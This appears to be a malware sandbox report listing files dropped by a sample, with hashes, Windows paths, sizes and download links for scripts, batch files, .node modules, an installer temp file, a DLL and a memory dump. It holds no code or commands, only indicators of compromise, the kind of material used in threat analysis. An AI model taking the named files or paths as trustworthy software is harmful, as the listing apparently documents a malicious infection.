SHA256 08bcc80231967245edeb7fcb93329c59d068d8077a047185683cc17861c826ae
MD5 2a7168eb5b6a0a0314cc33011d98dffa
SHA1 2d11d2792ebf8e7495bee0bf623918a15476313e
SHA512 dce8612c62407726b409740b882635df37434ebe6b453f4b76f03e8c64f7074cf433cf0a2873925b47263ed35d68658cdea6310843effea93575ec305f052dc8
SSDEEP 96:vSl0mCDVoJupOeihwLnHqnQoU42ckdbZNJNyvBwlYPAuI6t8i5x2:vSaFpWupasHMU423rjNcBw6jtt5x2
TLSH
T1DCA12AB6C5813E360ECBC14DD669785708BD01155FDB22A78EFFBE85F8DA14213AA130
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SetUP.VBS

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS
Size 824B
SHA256 6053c83865de1fe0f527608a3cff4d1689bfebc4047d81187fb78e8dbbbbb74c
MD5 97b3de6696541abe6384970ae8c9901c
SHA1 01db6b9685d45b2dc410f01001ff928c12e34895
SHA512 6a26d774d5a141cf09bc5b0cb589a1452cc655c6fe5839e3c297089228f8c6fa50c99ed8ff4d5e296ef0fbb72857401d00fc515deecc0d928f10fe595f4d8527
TLSH
T1E5018901B43DC7328AB0239150022DDDDEA3431A240852E6B99D8CFECF9C4389A35211
MD5 SHA1 SHA512 TLSH

Submit Download

UEMSAgent.mst

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst
Size 20KB
SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
MD5 0273976d2ecf588a5514b0f5069968e5
SHA1 b906399f51bffff670d20c5f5d66800a78b1e638
SHA512 da06fe4cf771c3a4840ced5b95a421cbec98023766d0d382b44798fefdf04f794119d3c17eb2165f35df1745bf3ffad600af10b7f89cce24f788a57f6e67a809
SSDEEP 24:J+U2p5gxBuP2xjl/Zd8pJPSgHiHJoxIzxhK:IU2p4gI7dyJaz
TLSH
T109927202FBA1EA16D0490A358E96C3DC0B36FC81DD42836B35E6776FBD721C54D62AA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SrjXAJXwhcllMzwTmR.BAT

Path C:\Users\Public\AqWBjAoJUGYlVxOwuYrMBQzmyyfIexVD\S-1-5-21-4154726816-2055034831-2297277433\SrjXAJXwhcllMzwTmR.BAT
Size 1KB
SHA256 48945dc1158d27f9e0c92659f73388a7809eaab4a4d221ccaf177e94d082fbc4
MD5 ab5ef5f3a04701d972a19e2b2a54d076
SHA1 3e190b305d80dfae4b1e9231745552b1501a2bd8
SHA512 5af4b6eb49fc2071159605cdfb9bcd1c22bfdf562e278bb284bf17fcd6f3fc6b25b9d29a63d2948f765665fb738e3a114aab4cc4a21c766ebae8f6429c776585
TLSH
T14931108FC4074D1C435102DF535ACC9BC644F04BEE9571E0B5C86BC5634AE9E08A6AFD
MD5 SHA1 SHA512 TLSH

Submit Download

zMfQDZlzTaQmgjBHPB.BAT.node

Path C:\Users\Public\MtVAjIRHphPQMaqJQMhumosIJsOtxonL\S-1-5-21-4154726816-2055034831-2297277433\zMfQDZlzTaQmgjBHPB.BAT.node
Size 2KB
SHA256 f5b0165311259f4bcc998caf6ac1d6917edf01c4014e65cd5258b34d7d29273a
MD5 2c9d1d9924eb4e05d5ac877e72940601
SHA1 3bc88e4f86e43c81e2d4bc1088984b2b8526a2ba
SHA512 4a0f07e08a6969a4b1c2da72e0a23c9fbff49061907e4e8f497b7b47762041b2f2d5799021d43873d3cae1e29241fc65a492a2526bda1daf868f979461f9ab4c
TLSH
T13D516DA941E8DDC097B8B5BF93DF05E809D055709D93C888C17A4E6B9DB168A323282A
MD5 SHA1 SHA512 TLSH

Submit Download

ToxoQuPuDONe.fmg

Path C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\ToxoQuPuDONe.fmg
Size 3.2MB
SHA256 2168698b8f26e202bcfe47a2f538a4c031ffa7935979bc79939e2b2a1da87509
MD5 ac769b58ba3576bd32f0a5c50faa4b1c
SHA1 962204ae4175a9a241385ddc1fdb893ff6a762bf
SHA512 184dd6ee600a951e866ae9eec2cf05aa7ecc6b9db3598cd2053b35a18d26ea11b9f705b2b32b1d84caf7da9c0c7a6f735ad0e94b4912a7942791eab9a496a7af
SSDEEP 98304:t1aOUR7ctTFJohynt2wl0JC4Rs/Fis+2IlCFqZtxDO00p7Wo4hD:t19TvrNSJC4RJ2IlCFq16vg
TLSH
T1E2E5C03A395040BFD21B06705A1AF2A5F2BD77700BF6C4C3EE94E91A2972C91D62B1D7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VogbKojanwko.LMH

Path C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\VogbKojanwko.LMH
Size 17KB
SHA256 7bf332e095a5c40c509da219a4e110c44c4bd831ba36cd9cba0df062abd989e0
MD5 4f18b5e35fb2fd78c902c6c03727f889
SHA1 3e6d2a8b580e5b57d01c118852b073003a0e5ba2
SHA512 7a38ae598717309f09dc603b0ccbf0c71a4754fa7988fead5b03fe41948129eccea53e00e1d30c462c08c3c80fc0777bc16569a7421122dd6b51ed6ec8f3243a
SSDEEP 384:JsuoCCpQIY0HKs0vkmxbYPL4OUSYGVm1k:JsbCCpQIYCKsxmxtEtQa
TLSH
T168826D8B876920AAFAE7C935C2A18677FC30FAD077564AFF4119C1911E81FE05B3D209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VogbKojanwko.LMH.node

Path C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\VogbKojanwko.LMH.node
Size 17KB
SHA256 d02a8c67e1173fb2a187a6bb8a91cb4ae7deca7392a33ceeb06cfcea94315e27
MD5 7258d5c7a1ea2ee2074f1461477d53fd
SHA1 5d59256d734fe5a0a9c8f3aaf126f044d0a269f0
SHA512 65881a4e08ec6c357d5bc3ad2d4df4b7b7b4fe7f4af3b5680174b8b48c91d9891563133a407f908e1749af0a5a9be4c141706d22266db1f0cc94eca9d4e23ebb
SSDEEP 384:r8S2/rmSmwo+hp5oO3xQ3tI7XpRUcD6hRt2DKc3:A1zhp5oO3x5ynJ2b
TLSH
T17682D0AFA62002C8035AE378A625D4D640FC7E7287F533C7DDEB16CB23B403168A9643
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WSfcxVsbzUOw.aIy

Path C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\WSfcxVsbzUOw.aIy
Size 32KB
SHA256 fb1c10d2d9e89ae8263faaed9b211bd1585896fc8eb4bc21622942a8a22cee09
MD5 c260608456e573a9d4de3c935648086e
SHA1 eabc6ee5869e011ae01014fdd8a89be3d237dd5b
SHA512 24c5edcf96081705028704ab7529225dd911630be668ca7593cbc7cab107b72a62c000f7cf8adabeca04474e81c474446fe471a3ee9006b377dfcb3bb49f72a2
SSDEEP 768:Nf+Wus4O4cTO2z2BuaVDNgijrrwn2899zud:1GF29aNgyw2szud
TLSH
T1B4E24BC966B804CAE6F782B4C2F9D6A6B970BA53172343EF0161C5740D63FD0DA35B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WSfcxVsbzUOw.aIy.node

Path C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\WSfcxVsbzUOw.aIy.node
Size 32KB
SHA256 37c79c5cfa4c1802051034fdc40835a2c236e607cb090c3a720118629d4bdfd8
MD5 3827e74449bf830db823077c8c96d613
SHA1 24bf4afff41788c77ba875f2da1e58c36415c04f
SHA512 3460ccde0fc04548c7770048163187a4beaf1b2b2d281d74db58098c2bd5b0507de5a60094b04d05b3fdaedef630b46b0ee2bad55ccbe2bccc47e4e8b4ef7f2a
SSDEEP 768:BBoXM7Iqcj221MTYK8mNC2WSmj4LxY4pnE3Peg27qeLw:HoXM77cS2yP86gx4LTnE3Pegwhw
TLSH
T1CFE2F177EE45E1179317448BB9C49223A3F143587F562AE230B4EB7B607680F152AD61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PucSMogWhjGQVXkbwN.BAT

Path C:\Users\Public\ZqJHgRouWIePshcCtueTrmXwXKNtkctw\S-1-5-21-4154726816-2055034831-2297277433\PucSMogWhjGQVXkbwN.BAT
Size 1KB
SHA256 d59617d50cf515b917c7b91ae07deb29c5f6f8ee33d959cca17a7453157289f5
MD5 8b0d642dfa0d2893f5f3527649057e29
SHA1 732ed92e683012642ea8a5e992ab7f57a82b5038
SHA512 36e3b87dbc01a79e058e54c4d1f1292543abe85b93946cded091b5356b8a335e128c1f427f95eef53bef9d62bcbbc212964af322fb84d46e7b4886e3c507caf2
TLSH
T1E131DC9FC8470D1C431102EB234A8C9BC680F04BED9571E0709C5B952346A9D086ABFD
MD5 SHA1 SHA512 TLSH

Submit Download

MSI576.tmp

Path C:\Windows\Installer\MSI576.tmp
Size 429KB
SHA256 1260992c0d6f755f41f02710a5ca7ee9300edb669357a96c5f8a7a9a77f6b071
MD5 95acce8d4e4fcdc950343f218775eb01
SHA1 70bf7c56c4154a2ddd354c2a5115376f1a527dea
SHA512 b26fcd43ec48c884813f44f3c4c91f16887603d7c4408f471445fa880e9b3b154cf77b7036c8993493334b6dd58a76dcea659de4623b28756894ef905f5ca39e
SSDEEP 12288:ZpqSpvhUEaxBOJBesypR2wd/8VyUp7NTR:ZJhUZxBOWsc1IFNt
TLSH
T13794BF1135C9C031E1AE5170ADB5AF76AE7DAD200F2858CBD3C84D3B1E645C2AB76F1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentlibxml2.dll

Path C:\Windows\SysWOW64\dcagentlibxml2.dll
Size 2.0MB
SHA256 6667e8871a07bdc398488565e2afbe72cf080c8c8f0016d572e2f01522b14ed6
MD5 a75d9d2f7f2713fa7c2decda1ea8f7fc
SHA1 bb203e3ffaf88a624b2ccc8c882e1b0917c485a4
SHA512 cd7fad6cb3fd3cecbb8c20c804c39758b455a81f48e01b1fa7d9d98b5df2f911fdcb524e0d534cf427c57d1be2c360d2e1d7c0b0a94f6fa048496bf8a341883f
SSDEEP 49152:R1fOkYtuKEoTHy9uizLBAUZLY6tPT8FGaXQr:HfOk4rwLBAUZLvr
TLSH
T12BA5BF04B980C532F4EB01F1CAFE5BFB982DCD26672554E767E578D889301E162BEB09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/6036-318-0x0000025919210000-0x0000025919BB4000-memory.dmp

Download